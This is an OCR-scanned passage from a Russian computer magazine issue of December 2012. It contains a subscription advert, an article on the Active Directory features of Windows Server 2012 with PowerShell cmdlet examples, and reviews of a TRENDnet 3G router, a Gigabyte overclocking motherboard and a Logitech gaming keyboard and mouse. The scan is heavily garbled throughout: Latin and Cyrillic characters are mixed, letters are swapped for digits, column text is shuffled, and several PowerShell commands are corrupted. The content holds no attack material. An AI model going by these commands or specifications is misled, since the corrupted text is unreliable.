хлкЕр 12/1b7l2012
-
Это все. 0пять же получить доступ к диску одновременно сможеттOльк0 0дна машина.
ЕIIIЕraгiы
Сегодня в *nix доступно большое количество средств проброса самого разного оборудования по сети, и если такая потребность возникает, ее всегда можно удовлетворить. Это делается не так красиво, как в Рlап 9, да и без <костылей> порой не обойтись, но все работает, и работает достаточно гладко. Зtr
166рублей зеноМер!
F l+ЕF подпискА
Нас часто спраlливают:
<<В чем препмущеGтво подписки?>> Во-первых, это выгодно. Потерявшие совесть распространители не стесняются продаватьжурнал за 300 рублей и выше. Во-вторых, это удобно. Не надо искатьжурнал в продаже и бояться проморгать момент, когда весьтиражуже разберут. В-третьих, это шанс выигратьоднуиз20 лицензий на новую версиюсловаряАВВYY LingvoX5 <Английский язык.
П
рофессиональная
6 12
}iесяцев 1110р. месяцев 1999р.
версия>>!
Из новых возможностей программы:
еще больше авторитетных словарей, обновл
е н
ное
п р
иложе
н
ие АВ BYY Тчtог,
примеры писем, иллюстрации и видеоуроки, переводпо наведению на слова в РDF-файлах, f lаsh-роликах, в субтитрах к
фильма'м
и
многое другое.
Первые 20 читателей, оформившие годовую подписку
в
период
с 29
ноября
по 1 0декабря, получат в подароклицен-
зию HaABBYY LingvoX5 <Английский
язык. ч
П
рофессиональная версия>>.Полу-
ить приз можно будет по электронной
почте. 0форм ить подписку можно за пару минут на сайте http://shop.glc.гu.
http: 'qhор.glс.гu
VISA@''аДl,"i
В [В00)
200-з-999 [6есплатно] su ЬsсгiЬеГdg lc. гu
Серrей Яремчук (9гiпdеrЕsупасk.ruI
ЧПrWу*'J',а/
WINDOWSSERVER 2012з HOBblE В03]t{OЖНOсти
служБдOмЕнOв
AcTlvE DIREсTORY
l
h,
Учитывая, что Active Dirесtогу глубоко интегрирована в 0С, усовершенствования в этой службе затрагивают такие ключевьlе области средьl, как аутентификация, управление доступом, групповые политики, работа стандартных и кластерных сервисов, виртуализация. Большая часть нововведений носит эволюционный характер: многие известные ранее функции дополнены и существенно переработаны, управление значительно упрощено..Щавай разбираться, с чем придется иметь дел0.
внизу oKHal, и можно просмотреть, как в следующий раз автомати-
зироватьту или иную операцию при помощи скриптов. Все мастеры по окончании работы позволяют сохранить результирующий РS-скрипт, что очень кстати, ведь их не нужно будет писать с нуля
самOстOятельн0, лишь адаптирOвать пOд свOи нужды, пOдправив пару параметров. Модуль Active Diгесtогу для РоwегShеll включает в себя новые командлеты для управления топологией репликации, динамическим кOнтрOлем дOступа, тестирOванием и другими 0перациями. Акцент на развитие PS очевиден, по мере роста потребности в распределенных вычислениях требуется rибкий, удобный единый инструмент, позволяющий автоматизировать все процессы при помощи сценариев и обладающий теми же возможностями, что и GUl. А вот консоли ММС и cmd.exe на эту роль не подходят, хотя еще входят в состав Windows lправда, сильно запрятаны). Роль развертывания AD DS теперь является частью новой архитектуры Мапаgеr Sегчег, позволяющей выполнять удаленную установку на несколько машин [их нужно просто указать в мастере или в команде PS). Новый мастер сочетает командлеты, заменяющие они привычные для администраторов утилиты dсргоmо и аdргер пока доступны, но прибегать к ним рекомендуется только в редких случаях. Так, место dсргоmо занял модуль PS АDDSDерlоугпепt, который запускается в мастере после установки роли, автоматически или вручную lРгоmоtе this sегчег to а domain сопtгоllег]. Повысить сервер до К.Щ можно в любой удобный момент. Расширение схемы, пOдгOтOвка леса и дOмена теперь прOисхOдят автOматически в0 время процесса повышения до контроллера домена и не требуют больше выполнения отдельных задач на Schema Маstег. подготовка доЕдинственный вариант использования аdргер мена и леса при обновлении Win2k8R2 (ключи /dоmаiпргер и /fогеstргер). Хотя опять же весьма желательна чистая установка. Мастеры стали проще. Так, при создании нового контроллера домена необходимо пройти всего восемь диалоговых окон [раньше двенадцать), продвинутые настройки не скрываются {поэтому пропустить их нельзяJ, все текущие операции выполняются в одном окне. Например, DNS и сервер глобального каталога по умолчанию устанавливаются для каждого контроллера домена. При создании нового леса необходимо выполнить единственный командлет, которому в качестве параметра передать имя домена (об этом дальше). При создании и повышении К,Щ первоначально производятся прOверки, снижающие верOятнOсть неудачнOг0 завершения
-
-
Служба AD развивается уже более 12 лет, и в новом релизе разработчики использовали весь свой опыт, чтобы пересмотреть существующие подходы к управлению, сделать все операции более гибкими, а главное интуитивно понятными. Теперь основой конфигурирования AD DS, включая процессы развертывания, настройки и репликации, является РоwегShеll. Сюда же можно отнести действия, выполняемые при помощи графического инструмента "l-{eHTp администрирования Active Diгесtогу" [ADAC), который является, по сути, фронтендом для РоwегShеll. При любых настройках в ADAC соответствующие команды будутзанесены в историю [выводится
-
1з2
L
-tJё r'
J/
U 4т тг7
-
хлкЕр
12116712012
Ди/р*% |,;nir"" @ц a
.lа.р:а!л!-.t
a
ьъd л,а
aвч ра5ачо.i
\111
nql a.nia)nё,
Контейнердля гранулированной настройки парольных политик
операции; если ошибки обнаружатся, их можно устранить до начала 0перации. в win2k8 появилась возможность назначать несколько политик паролей для конкретных пользователей или групп пользователей с помощью механизма Fiпе-Gгаiпеd Раsswогd Policy, но удобного инструмента не предлагалось. Спустя некоторое время стали доступны утилиты третьих фирм, упрощающие задачу, к ним можно отнести Fiпе Gгаiпеd Раsswогd Policy Тооl, Specops Раsswогd Policy Basic, Раsswогd Policy Мапа9ег и другие, Теперь нужные настройки доступны в ADAC, и работать с ними просто: переходим в контейнер _ passwoгd settings Сопtаiпег>, выбираем пункт меню "system Параметры паролей>, заполняем в предложенных полях "создать требования к паролю и указываем, к каким объектам их применять. В дополнение к вOзможности Мапа9еd Sегчiсе Accounts IMSA], появившейся в Win2k8R2, но не поддерживаемой в некоторых сценариях [вроде кластеровi, введен новый класс безопасности Gгоuр Managed Sегчiсе Accounts (gMSAi, позволяющий выполнять задачу под одной учетной записью на нескольких серверах. !ля проверки пароля используется специальная служба Gгоuр Кеу Distгibution Sегчiсе (GKDSi, работающая также на серверах Win2012. По умолчанию пароль 9MSA меняется каждые З0 дней. Еще одна функция активация с помощью Active Dirесtогу Based дсtiчаtiоп [дDВд) позволяет активировать компьютеры, работающие не в основной сети [например, находятся в удаленном филиале), во время присоединения к домену при наличии универсального ключа многократной установки GVLK, Ранее для этого требовалось физически подключать такие компьютеры к сети и разворачивать Кеу Mana9ement Sегчiсе {KMS) или, как вариант, покупать розничный ключ.,Щля управления ADBA предлагается специальный инструментVоlumе Activation Мапа9еmепt Toolkit (VAMT, ), который можно скачать отдельно или как часть Windows Assessment and Deployment Kit IADK]. Кроме этого, в ADAM изменен интерфейс мониторинга, улучшено отслеживание состояния Gгоuр Policy, расширены выдаваемые рекомендации по обслуживанию и обновлен журнал событий. Функция динамического управления доступом [Dynamic Дссеss Сопtгоl] позволяет установить политики, основываясь на роли пользователя, используемом устройстве, атрибутах каталогов и данных, к которым планируется получить доступ. Параллель-
-
-
Хитросплетение связей
но DAC позволяет снизить количество групп безопасности, что должно упростить администрирование, особенно в сложных сетях. ,Щля определения назначения файлов используется средство классификации. !оступ, кроме групп, может предоставляться по заявкам [claims), которые интегрированы в КегЬегоs, Упрощен порядок восстановления отказа в доступе (Access Denied Remediation]. Начиная с Win2k8R2, клиентские ПК можно было присоединить к домену при помощи специально подготовленного файла, без наличия подключения к доменной сети [так называемое автономное присоединение к домену, 0ffline Domain Joinl. Это сокращало время на развертывание (особенно в случае массового создания VM], компьютер становился практически полноценным членом домена. Тем не менее такой подход имел ряд ограничений, например нельзя было сразу настроить и подключить DiгесtАссеss, Теперь это возможно, так как в процессе 0ffline Dоmаiп Join передаются сертификат и политики. Процедуру создания индекса, которая ранее нагружала К,Щ, теперь можно отложить до времени простоя сервера. Такие задачи, как выдача, контроль и мониторинг относительных идентификаторов RlD (Relative ldепtifiег], используемых для генерации идентификаторов безопасности (SlD) для пользователей, групп и компьютеров, стали более управляемыми. Когда запас RlD подходит к концу (] 0%], система начинает генерировать предупреждения. Количество RlD, которое может генерировать домен, удвоено [с 1 до 2 миллионов, точнее с 2^З0 до 2"З']],
В Windows до 2012 существовало несколько проблем, мешающих запускать контроллер домена в VM: нельзя было восстанавливать работу из снапшота, а также клонировать и выполнять V2Vмиграцию. Причина одна, и заключается она в возникновении так называемого USN гоllЬасk IUpdate Sequence Numbe1 номер последнего обновления), когда соседние К,Щ запоминают последний USN партнера и, если он оказывается меньше ожидаемого, попросту блокируют обновления с этого К!, считая, что их база актуальна. Конечно, давно доступны рецепты, позволяющие решить эту проблему вручную, но уж слишком много волокиты. В Win20]2 используется функция VМ-Gепегаtiоп lD, которая обеспечивает возможность нормально реплицировать данные КrЩ, запущенного в VM. Представляет она собой уникальный ']28-битный идентификатор, который хранится в нереплицируемом атрибуте AD. Перед применением изменений в базу AD контроллер домена сравнивает значение VМ-Gепегаtiоп lD в своей базе AD со значением, полученным от гипервизора через драйвер Windows Sеrчег 20']2. Если обнаруживается отличие, то делается вывод о применении отката. Теперь администраторы получают возможность восстанавливать работу К! из снапшотов и клонировать К,Щ. Соответственно, эти возможности уже реализованы в интерфейсе и в командлетах PS, и все 0перации максимальн0 упрOщены,
l-rдI ]ц!!f
Начиная с Win2k8R2, защитить объект AD от случайного удаления возможно для отдельной учетной записи, компьютера, группы
ь;;
Политику паролей можно указать вплоть до отдельной учетной записи
121167/2012
:д]:.L:.
i
..-]
или подразделения. ,Щостаточно установить флажок в свойствах, и при попытке удалить объект администратор получает предупреждение о невозможности произвести требуемую операцию.
хлкЕр
t
РV|_эsr
f
stu
t
]
Cry-ffffr'fi,n, flля работы корзины необходимо, чтобы лес работал на функциональном уровне Win2k8R2 {узнать можно, запустив Gеt-АDFогеst и просмотрев строку FогеstМоdе]. При создании леса и домена в Win20']2 функция AD RB по умолчанию отключена, активировать ее можно из ADAC, вь брав Включить корзину>, или "Задачи при помощи командлета Enable-ADOptiona Fеаturе:
-
PS> Enable-ADoptionalFeatune -Identity l 'CN=Recycle Bin Fеаtuге,СN=Oрtiопаl Fеаtuгеs,СN=Diгесtопу Senvice,CN=Windows NT, + СN=Sегчiсеs,СN=Сопfiguгаtiоп, DC=ad,DC=eXample, р DС=ог8' -Scope Fonestoгconfigunationset .,
-Тагgеt'ехаmрlе.огg'
,Q,оступ l.toжeT
предоставляться
по
заявкаtt (claimsl
Простота управления AD и сложность сетей приводит к росту процента ошибок, а удалить любой объект очень легко. И не обязательно это должно быть умышленное действие не-достаточно большой опечатки в скрипте, Если вовремя не обнаружить ошибку и она реплицируется на остальные К!, то восстановление объекта мOжет изрядн0 пOтрепать нервы, даже если имеется резервная к0пия, Проблема не нова, и в lr4S это отлично понимали. В результате утилmа NTDSUT|L из Win2k8, использующая службу VSS, позволяла восстановить организационное подразделение и отдельный объект, правда, с одной оговоркой в настройках по умолчанию при удалении объект теряет большую часть своих свойств [пароль, mапа9еdВу, mеmЬегOf и прочие), поэтому после восстановления он будет не совсем тем, что требуется. В Win2k8R2 появилась корзина AD (Active Diгесtогу Recycle Bin, AD RB], которая автоматически активируется, когда домен находится на уровне Win2k8R2. По своей сути она схожа с корзиной, используемой в Windows, куда помещаются удаленные файлы, и случайно удаленный объект может быть быстро и без проблем восстановлен. Причем восстановленный из AD RB объект сразу же получает и все
-
свои
атрибуты.
По умолчанию
время
(жизни>>
-Filtег {displayName -еq "usег"} -IncludeDe].etedObject5 | Restoгe-ADObject
PS> Get-ADObject
и0
-
Количество параметров командлета позволяет строить сценарии любой сложности. Например, найти организационное подразделение 0U, к которому принадлежала удаленная учетная запись, и затем восстановить весь 0U. В Win2012 в дополнение к этому появился графический интерфейс для AD RB, при помощи которого можно включить корзину, найти и восстановить удаленные объекты. Учитывая, что ADAC и AD RB базируются на РоwегShеll, все предыдущие сценарии будут работать, переписывать ничего не придется.
На самом деле объект AD удаляется не сразу: вначале он помечается маркером <tombstone> и перемещается в контейнер Deleted 0bjects,
после чего запускается счетчик жизни Tombstone Lifetime, по истечении которого объект окончательно убирает специальный процесс GагЬа9е Соllесtог. В новых версиях значение Windows Tombstone Lifetime равно 180 дням.
F'V;эftr У
-
кOпирOвания.
Сегодня PowerShell становится главныN4 инструментом при администрировании Windows, поэтому рассlйотрим основные командлеты, касающиеся AD. Так, чтобы добавить роль AD DS, достаточно выпOлнить кOманду: PS> Add-WindowsFeatune AD-Domain-Seгvices - I пс IudeManagementToo]"s
-
объекта
удаленного
AD RB составляет 180 дней, после этого он переходит в состояние Recycle Bin Lifetime, теряет атрибуты и через некоторое время полностью удаляется. !ля восстановления предлагалось испол ьзовать командлеты Get-ADObject и Restoгe-ADOblect: в
Р(,,
После чего некоторое время понадобится на репликацию настроек. Теперь все удаленные объекты будут находиться в контейнере De eted 0bjects, просто выбираем нужный, ориентируясь по имени или прочим атрибутам. Если родительский объект не существует (его можво найти при помощи пункта меню *Найти родительский элементrl, предусмотрено восстановление в другую ветку при помощи.Восстановить в" IRеstоге То], Но нужно помнить, что включение AD RB процесс необратимый, то есть выключить корзину нельзя [об этом выводится предупреждение при активации], и хотя это полезная возможность, но в больших меняющихся средах она будет приводить к увеличению базы, Эту проблему можно частично решить, например уt/еньшив время хранения объекта в корзине,0собо следует отметить, что AD RB не отменяет, а дополняет операции резервного
I Active Directory Rесусlе Вiп не 0тменяет, а дOпOлняет
Если установка выполняется на удаленную машину, просто до<соmрutег_паmе> -Rеstагt>. В примере бавляем "-СоmрutегNаmе
шпАргАлкА п0 рАБOтЕ с AD flобавить компьютер
в
домен:
Add-Computen -DomainName mydomain.IocaI Создать пользователя:
Nеw-АDUsег -SamAccountName Usеr1 -АссочпtРаsswогd
(гead-host "Set usеп раsswогd" -a5secuгestгing)
-паmе "Usе11" -enabled
-
$trче -РаsswоrdNечегЕхрi_геs в
$tгuе -ChangePasswoгdДtLo8on $false Включить пользователя в группу:
-Identity -
0перации п0
Add-ADPгincipalGnoupМembership
резервн0l,iу кOпирOва н ию,
"СN=Usеп1,СN=Usегs,DC=mydomain,DC=loca1" -МеmЬегOf "СN=Епtегргisе Admins,CN=Useгsr DC=mydomain, DC=loca1", "CN=Domain Admins, CN=Usens, DC=mydomain, DC=local"
Э|"
-
-
е
хдкЕр 12l1b7/2012
lh Ei ц"*т ц".,*-,.. < .l.фрl.{,ошtrпыt) (12)
;;;
----l
, ]*
обц,,е
л-lrtr
ьуЁilлетениесвязей
:_
Ёl
f
f
По уl.tолчанию
зulй
ЬФ.sкUфl
KiBl
l
лfr.l@d"-
l
M.Mq.daM.e.o!.B
,у
корзина Active Dirесtоrу отключена. Включив, отключить ее нельзя
вместе с AD установили и инструменты управления, в том числе модуль PS, которыЙ затем следует подключить, чтобы он был виден: PS> Imрогt-Моdчlе
АсtiчеDiгесtогу
КД, домен или лес.,Щля этого предлагается три командлета: lпstаll-АDDSDоmаiпСопtгоllег, lnstall-ADDSDomain и lnstall-ADDSFoгest. Их работа в общем схожа, если не указать дOпOлнительные параметры в командной строке, они будут запрошены п0 хOду выпOлнения скрипта:
Создание централизованного правила доступа
При этом возвращаются подробные сведения, Параметр Filtег, используемыЙ в командлетах AD PoWeгShell, ограничивает список возвращаем ых объектов. Просмотрим данные об объектах репликации:
Get-ADRepllcationSite
-Filtег
,Щалее создаеN4
PS>
PS> Insta1l-ADDSDomainСontrolIeг
пЩомен создан, пора его наполнить учетными записями. .Щля этих целеЙ предлагается командлет NeW-ADUSeг. В самом простом случае дOстатOчн0 указать его имя, и пользователь будет автоматИчески помещен в группу *Пользователи домена) [Usегs], поэтому лучше сразу задать группу:
"ехаmрlе.огg"
Иногда лучше произвести предварительные проверки при помощи командлета Теst-АDDSDоmаiпСопtгоllегlпstаllаtiоп: в отличие от параметра -whatlf, он проверит, возможны ли соответствующие изменения в текущих услOвиях. При создании леса можно сразу указать его уровень: PS> Insta1l-ADDSFoгeSt -DomainName ехаmрlе.огg -CгeateDNsDelegation -DomainMode llJin8 g -FогеstМоdе ll'liп8
р
Получим список всех КД: PS> Gеt-АDDоmаiпСопtпоllег
I ft Hostname,Site
-Filtег
*
е
PS> New-ADUseг -паmе Usег1
"SN=Sales,DC=example,Dc=oгg" ьзуя остал ьные
*
-path е
-passThгu
метры (п одроб нее goo. g ]/q h!.z_[ ил и можно заполнить любые атрибуты учетной записи. Если количество пользователей велико, то проще выполнить импорт из заранее подготовленного СSV-файла [при помощи lmрогt-СSV). Проверить установки любой учетной записи или отобрать их по фильтру можно при помощи ко|,1андлета Gеt-АDUsег. После создания учетная запись выключена, не забываем ее включить: И сп ол
па ра
"Get-Help Nеw-АdUsег -f
uIl>),
PS> Enable-ADAccount
Usег1
Практически для всех остальных операций по созданию объектов AD также предложены свои командлеты компьютеры lNеw-АDСоmрutег), организационное подразделение 0U INew(Nеw-АDGгоuр) ADOгganizationalUnit), группы и так далее. Форматы вызова во многом напоминают Nеw-АDUsег. Соответственно, все командлеты для получения специфических данных начинаются с Get-AD*, для изменения предназначены Set-AD+. Автодополнение доступно по клавише табуляции, поэтому найти нужные легко, Например, чтобы получить список всех групп, куда входит пользователь, набираем:
-
PS> Get-ADUseг
-Identity Usег1 -Ргорепtiеs
Чтобы контроллер домена можно было клонировать, его нужно добавить в группу СlопеаЬlе Domain Сопtгоllегs. Сделать это можно
Active Diгесtогу Usегs апd Соmрutегs, панели управления Active Diгесtогу Administгative Сепtег или же команды РоwеrShеll. с помощью консоли
Смотриt.t параllетры контроллера домена и коtilпьютера
хлкЕ? 12hбт2012
средстварtи
РоwеrShеll
МеmЬегОf
fE
f . 0писание Active Directory-Based Activation: qoo.g Ukvptv5; . скачать VДl.,lТ:
qаS4!1ЗЕmVВ; . подробнее о параi{етрах NewADUser: goo.gl/q!t;b.
FERRU}4
flаниил Либарц
я
всЕгдд
с!оБои БЕry
тЕстирOвАн и Е БЕсп рOвOднOи тOч ки дOступА TREN D N Ет TEW-655B RзG Интерфейсы:'1 10/100 Мбит/с
х
WAN/LAN tRJ-45]
Беспроводной интерфейс: l
Е
Wi- Fi,
ЕЕ 802.1 1 b/g/n
Частотный диапазон: 2,4 ГГц Безопасность: WEP, WPA/WPAPSK, WPA2/WPA2-PSK lTKl р, AES], WPS Функции роутера: NAT, DynDNS, Static Routing, DНСР, Viгtчаl Sеrчег, Рогt Тгiggегiпg, QoS
Поддержка соединений: Static Dупаmiс lР, РРТР, L2TP flополнительно: USВ-порт, а к
l
Р,
кумул ятOр
Питание: сетевой БП
Производительность NAT UP:56 Мб/с DOWN:65 Мб/с FDХ:70 Мб/с
Производительность Wi-Fi.
1/6 м
UP: 60/56 Мбит/с DOWN:6760 Мбит/с FDХ: 70/62 Мбит/с
п
Сервер Процессор: G5з0
lntel Сеlегоп Dчаl-Соге
Системная плата: Н67МS-Е2З 0перативная панять:2 х,2 Гб, Кiпgstоп, DDRЗ
Блок питания:400 Вт, FSР 0перационная систеиа: Microsof Windows Sеrчег 2008 R2 Stапdагd х64
клиент
Ноутбук: Toshiba SATELLlTE Lбз5_1 2Q
Адаптер: D-Link DWA-I60
1зб
t
0бстоятельства обязывают нас постоянно быть на связи. Проверка рабочеЙ почты, дружеская переписка в Facebook, проверка погOды, новостей, пробок - этот список можно продолжать еще долго. И ладно, если речь идет о смартфоне. А если в одном месте собраны ноутбуки, планшеты и телефоны? На даче, например, или (на югах>. что же, это не проблема для герOя нашего тестирования портативной точки доступа с возможностью выхода в интернет через мобильную сеть TRENDnet ТЕW-655ВRЗG. На первый взгляд кажется, что роутер изготовлен из цельного куска металла и обладает немалой массой. Наши опасен ия бьlли напрасными, TREN Dnet
-
ТЕW-655ВRЗG оказался достаточно легким даже с установленным аккумулятором. Разъем для питания, Etheгnet и тумблер включения находятся сзади на торце. Сразу обращаешь внимание на уникальныЙ разъем (кормушки). Это не очень удобно, ведь придется всегда таскать с собой адаптер питания, вместо того чтобы зарядить роутер от пары USB. На правоЙ стороне можно увидеть порт USB, утопленную кнопку сброса, а также клавишу WPS. Комплектация стандартна. На наш взгляд, неплохо было бы добавить чехол для переноски устройства. После включения роутер заморгал зелеными светодиодами, сообщая об активности всех интерфеЙсов. Включение и перезагрузка происходят недOлг0, н0 закрытие 0кOн занимает немал0 времени. Меню выполнено в непривычном, но удобном стиле. В верхнем фрейме находятся основные пункты йеню, при нажатии на кOтOрые слева пOявляются пOдпункты. Oбилие настроек радует глаз, хотя поиск некоторых функциЙ (с непривычкиl может занять немало времени. TRENDnet ТЕW-655ВRЗG не обладает фиксированными режимами, поэтому для каждого случая его необходимо настраивать индивидуально, в соответствии с требованиями.
!евайс оказался стабильным и дружелюбньiм. Радуют и скоростные показатели. Единственное, что портит картину, это немалый нагрев. Во время продолжительной нагрузки от нескольких клиентов роутер сильн0 греется, несмOтря на 0тверстия для 0твOда горячего воздуха, так чт0 мы рекомендуем обеспечить дополнительную вентиляцию девайса.
-
мЕтOдикА тЕстирOвАния данного типа устройств важны не столько скоростные пOказатели, скOльк0 надежнOсть, универсальнOсть и мобильность. Например, если тестировать роутеры на скорость подключения к мобильной сети, то мы пOлучим характеристику самOг0 0ператOра, а не нашеЙ (железки). Физически проверять на совместимOсть с каждым из существующих мOдемOв на каждOм оператOре почти нереально. Ведь ежедневно выходят новые прошивки и новые модемы. Как показывает практика, если мOдем указан в списке пOддерживаемых устроЙств, то с высокоЙ вероятностью он будет работать без глюков. В большинстве случаев роутер не нуждается даже в настройке. Oн сам подхватывает необходимые данные 0 мOдеме и 0ператOре и выхOдит в интернет. Важным моментом является производительность работы Wi-Fi [на отдалении одного и цести метров), а также скорости трансляции сетевых адресов NAT. !ля теста мы будем использовать нашу стандартную методику с помощью комплекса от компании lxia. Как обычно, для каждого из тестов трафик пропускался в прямом и обратном направлениях, а также одновременно в обоих.
,Щля
вывOд За исключением пары недочетов, у TRENDnet получилась отличная мобильная точка доступа. На наш взгляд, ТЕW-655ВRЗG подойдет больше для (дачного> иlили (автомобильного) варианта, нежели для путешествий свOим хOдOм. Т
хлкЕр
12116712012
Сергей Плотников
GlGABYTE
GA-Z77X_UP7 FOR OVERCLOCKERS. BY OVERCLOCKERS Материнская плата GlGABYTE GЛ-Z77Х-UР7
-
не пер-
выЙ оверклокерскиЙ концепт от известнейшей таЙ-
ваньскоЙ компании. Совместно с мировоЙ легендоЙ Hicookie уже была разработана GA-X58A-OC. И она получилась сверхудачной! А потому мы не удивлены, что сотрудничеств0 0днOго из лидерOв в прOизвOдстве матплат и 0дного из лидеров мирового оверклокинга было продOлжен0.
оверклокинга одна 0С-плата
-
Сокет; LGA']'l55 Чипсет: Z77 Ехргеss Паrrять:4 х DlMM, DDRз-1066-2400 Слоты расчlирения:5 х PCl Express х'16, 2 х PCl Ехргеss х1 flисковые контроллеры:4 х SATA ll, 6 х SATA з.0, 'l х mSATA сеть: ] х Atheros GbE LAN, 10/100/1000 Мбит/с; l х lntel GbE LдN, 10/100/1000 Мбит/с; lEEE 802.11albl gl п, Bluetooth V4.0 Аудио:7,'lСН, НDА на основе Realtek
ALc898 Разъемы
на задней панелиз б х USB 3,0, 1xD-Sub, 1xDVl,'l xHDMI, 1 х DisplayPort, 1 х S/PDlF, 2х RJ-45, 1
хРS/2,6хЗ,5-ммjасk
Форм-фактор: Е-АТХ
п Процессор: lпtеl Соrе i5-2500K, 3З00 МГц l.{атеринская плата: GlGABYTE GA-
z?7x-uP7
0перативная память: Kingston КНХ26С1 1Т2К28Х В2lЗ3 t4Гц, 2 х 4 Г6lс Видеокарта: AMD Radeon HD 7870 )i(есткпй дпскl Wеstегп Digital WDlOEZEX, 1 тб Блок питания: ENERMAX EPM75OAWT, 750 Вт 0С: Windows 7 Максимальная, 6/+-разрядная
Super Pl 1.SXS, 1m: 11,З10/7,564 с wPrime 1.55, 32m: 9,345/5,996 с WinRAR: З752l4482 Кбlс ClNEBENCH Rl1.5: 4,81/7,1 pts
хлкЕр
12 /1671
2012
-
0 том, что GlGдВYТЕ Gл-Z77х-UР7 (заточена) под нужды оверклокинга, говорит абсолютно все. Нет, даже не говорит, кричит об этом! Начиная от разводки компонентOв и заканчивая всевозможными приятными бонусами. Так, на текстолите (мамы> распаяно сразу пять портов PCl Ехргеss х16. Причем четыре оранжевог0 цвета и еще один черного. Суть такого разделения кроется в поддержке SL|- и СгоssFiгеХ-массивов. При использовании всех четырех видеокарт (цветастые> порты будут
-
работать по схеме х8 + х8 + х8 + х8. Черный же РСl-Е-слот предназначен для бенчинга одиночного адаптера. 0н напрямую связан с CPU (6ез РLХ-микросхем), следовательно, любые задержки сведены к минимуму. Распаяны на плате и пара портов PCl Ехргеssх1. При этом в комплекте идет PCl-E-Kapтa с поддержкой беспроводной сети lEEE 802.11аlЬ/g/п и Bluetooth V4.0. Лирическое отступление: отметим и большое число SАТА-портов. Так. плата насчитывает сразу шесть коннекторов SATA З.0 с пропускной способностью 600 Мб/с и четыре SATA ll, Есть на плате и порт mSATA, для использования технологии SSD-кеширования. Второе, что сразу же привлекает внимание нал ич ие огро м ней ше го у G l GABYTE G Л-Z7 7X-UP7, блока фаз питания. Так, для нужд центрального процессора используется З2 (!) фазы. Еще две отряжены для стабилизации питания VТТ-модуля, и еще три для встроенноЙ графики процессоров lnte|. Зачем столько? Все просто: на плате распаяно сразудва 8-пиновых коннектора для питания cpu. И в моменты экстремальнOг0 разгOна пOд жидким азOтOм (камень> перманентно может потреблять до 500 Вт энергии, В свою очередь, З2 фазы совместно с тремя цифровыми стабилизаторами распределяют эту энергию, облегчая процессору жизнь. 0тметим и наличие более надежных и холодных мосфетов. В GlGABYTE GЛ-Z77Х-UР7 используются регу-
-
-
-
ляторы напряжения lRЗ550 PowlRsta9es производства компании lпtегпаtiопаl Rесtifiег. Все элементы питания объединены в технологию Ultга DuгаЬlе 5, Идем дальше.,Щля облегчения процесса разгона прOцессOра на текстолите имеются две секции. Та, что ближе к SАТА-портам, оснащена индикатором POSTкодов, кнопкой перезагрузки системы и рычагами BlOS Selector. Та, что ближе к слотам DlMM, оснащена целым рядOм клавиш для изменения мнOжителя прOцессOра. частоты тактового генератора [с шагом от 0,'l до 1 МГц], кнопками включения/выключения стенда и сброса настроек BlOS. а также разъемами для подключения клемм мультиметра. Естественно, как никогда щедр на оверклокерские настройки и BIOS. В нем есть все, что нужно для успещного разгона процессора и памяти. А потому мы без особых проблем смогли разогнать (на воздухе) нац тестовый lntei Соге i5-2500Кдо стабильных 5000 МГц! В свою очередь. на сайте hwЬоt.огg зарегистрирован ряд интфеснейших результатов [сlсk.гulЗгоGN). Например, оверклокер Теаm.Аu сумел (раскочегарить) уже lvy Вгidgе i7-3770Кдо 7010,04 МГц. И сразуже попал вдесятку лучших рекOрдOв мира по разгону этого <камня>l
вывOд В общем, тенденции производства материнских плат такOвы. что если то или иное устройство отлично показывает себя в оверклокинге, следовательно. оно отлично
покажет себя не только в качестве основы для бенчстенда, Поэтому GlGABYTE G Л-Z77Х-UР7 вел и колеп н о проявит себя в роли связующего звена для очень мощного игрового системного блока или же в роли основы для производительной рабочей станции. Главное, не забудь приобрести корпус с поддержкой Е-АТХ материнских плат.
Е
FERRUl,|
Екатери на J,,lихеева- Ка панжа
IU игровои
тАндЕм! LOGITECH G103 GAMING KEYBOARD Logitech G103 Gaming КеуЬоагd предусматриваетдва режима: рабочий и игровой, во время второго отключаются клавиши Windows и контекстного меню.,Щля перехода в игровой режим на клавиатуре есть специальная кнопка, а для его индикации светодиод, Настроить оба режима можно в специальном П0, доступном на сайте производителя. С левой стороны расположены шесть программируемых G-клавиш. При нажатии каждая из них активирует также настроенные ранее в дополнительном П0 функции и комбинации макросов. Кстати, и G-клавиши, и кнопка переключения режимов, и клавиши WASD, и стрелки выделены красным цветOм, сама же клавиатура черная. С обратной стороны клавиатуры расположены желобки, в которые можно убрать кабель, если он будет мешать [длина его 2 метра). Клавиатура достаточно компактна, а возмOжнOсть 0тсOединять пOдставку для рук пригOдится, если игрOвOе прOстранств0 сOвсем ограниченно и требует экономии места. Поддержка нажатия до пяти клавиш одновременно позволяет выполнять сложные маневры без сбоев. Приятно отметить, что ход клавиш практически бесшумный.
-
LOGITEсH Gl00 GAMING MOUSE [а значит, удобная в использовании как для правшей, так и для левшей) мышка, украшенная технологичным принтом, смотрится просто, н0 в т0 же время стильн0. Предусмотрено три разрешения отслеживания перемещения: 'l000, 1750 и 2500 точек на дюйм, причем переключаешься между режимами мгновенно и удобно -для этого можно просто нажать на кнопку, расположенную за колесом прокрутки. Поэтому соблюдать баланс между возможностью выбирать цель с высокой точностью и быстрым перемещением в игровом пространстве можно и не прерывая игры. Производитель утверждает, что ресурс износа кнопок составляет З миллиона наlt<атий, а сенсора 250 километров. Так что манипулятор выйдет победителем из огромного количества сражений. На нижней поверхности Logitech G100 Gaming Mouse разместились тефлоновые накладки-ножки, они практически устраняют трение и позволяют (хвостатой> перемещаться по поверхности настолько плавно, насколько это вообще возможно. Мышь достаточно легкая, чтобы двигаться быстро, но и достаточно тяжелая, чтобы создавать ощущение устойчивости и точности управления.
,Щизайн Logitech G100 Gaming Mouse достаточно лаконичен: симметричная
вывOды
о Клавиатура
Тпп сенсора: оптический светодиодный Интерфейс: USB, проводной Разречlенпе отслежt.tвания перемещенпй: 'l000/1750/2500 dpi 0бработка изображенlяl 2,4 Мп в секунду }.laKc. }.laKc.
усцорениеl 23 g скорость: 60 дюймов в секунду оптимальной поверхностиl Статическнй коэффиц]rент трения F lsl:0,14 Ресурс левой и правой кнопок: 1
lHa
3 млн наlкатий
Ресурс износа:250 км Количество кнопок:4
+
колесико
Вес: 80 г
Дополнliтельно: симметричная
форма
USB Дополнlтельные клавиlлr: '10 lб G-Keys, Caps Lock, Num Lock, Sсгоll Lock, Joystick switchl !]лlна кабеля:2 м Габариты:476 х 19З х 29 мм Вес:648 г Дополнительно: съемная Интерфейс:
с
пOдставка пOд запястья, 6 программируемых клавиш lG1G6], многоклавишные сочетания с 0днOвременным нажатием д0 5 клавиш, переключения между игровы11 и рабочим режимами
